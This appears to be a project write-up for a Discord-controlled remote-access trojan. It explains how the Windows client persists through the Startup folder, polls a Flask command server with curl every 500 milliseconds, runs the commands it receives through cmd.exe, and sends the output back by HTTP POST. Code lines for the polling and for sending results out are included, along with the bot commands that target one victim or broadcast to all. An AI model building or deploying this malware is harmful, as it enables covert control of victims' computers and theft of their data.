Victim Executes
dllain.exe
-
The first action the malware takes is calling:
move_to_startup(get_exe_name());
This moves the executable malware to the Windows Startup folder, ensuring it runs automatically on reboot.
-
The program then changes its working directory to the victim’s home folder using the
USERPROFILEenvironment variable.
Every 500 milliseconds, the client executes a curl command to communicate with the server:
sprintf(curl, "curl -k -s %s/command?id=%s", SERVER, serial_string);
char *command = get_cmd(curl);This GET request is sent to the server’s /command endpoint:
https://example.com/command?id=victim_id
The request contains the victim’s disk serial number.
When a new request is received at /command with an ID (the disk serial number), the server:
- Checks its database (currently a dictionary) to see if the serial is registered.
- If the serial isn’t registered yet, assigns a unique client ID and logs:
kukuku.. new client registered: ID 1 | Serial 123456789 - Initially, no command is queued, so the server responds with
404(empty response), prompting the client to continue its periodic check.
A Discord bot is used to send a command to a specific client. For example:
!set_command 1 ipconfig
Here:
1is the sequential client ID.ipconfigis the command to be executed.
The bot also supports broadcasting commands to all clients:
!set_broadcast ipconfig
This sends the ipconfig command to all connected clients.
The server’s /set_command endpoint:
- Maps the client ID
1to its disk serial number. - Updates the client’s record:
{ "cmd": "ipconfig", "accomplished": true, "channel_id": <Discord_Channel_ID> } - The server confirms via the Discord bot that the command is set.
On its next periodic check (within 500ms), the client sends another GET request:
curl -k -s 127.0.0.1:5001/command?id=123456789This time, the server detects a pending command (ipconfig) and marks it as "in progress":
{
"accomplished": false
}The client then executes the command:
char *result = get_cmd("ipconfig");get_cmdspawns a process to runcmd.exe /C ipconfig.- The output is captured and written to a temporary file (
fpath).
Finally, the client builds a new curl command to send the output back to the server via HTTP POST:
sprintf(curl, "curl -k -s -X POST %s/result?id=%s --data-binary @%s", SERVER, serial_string, fpath);
get_cmd(curl);- The server’s
/resultendpoint receives thePOSTrequest with the command output. - The server identifies the client via the serial number.
- The command is reset:
{ "cmd": "", "accomplished": true } - The server prints the command output:
[Client 1] Windows IP Configuration Ethernet adapter Ethernet: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::d4a8:6436:0:1%12 IPv4 Address. . . . . . . . . . . : 192.168.1.101 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.1 - If a
channel_idis associated with the client, the bot will send the output to the corresponding Discord channel. If the message is too long, it will be truncated.
The bot also supports listing all connected clients:
!list_clients
This will return a list of all registered clients with their sequential ID and disk serial number.
- The Flask server runs on
127.0.0.1:5001. - The bot ensures that only Discord.py version
1.7.3is installed. - The
set_broadcastcommand allows execution of a command on all registered clients. - The
list_clientscommand retrieves all connected clients and their serials.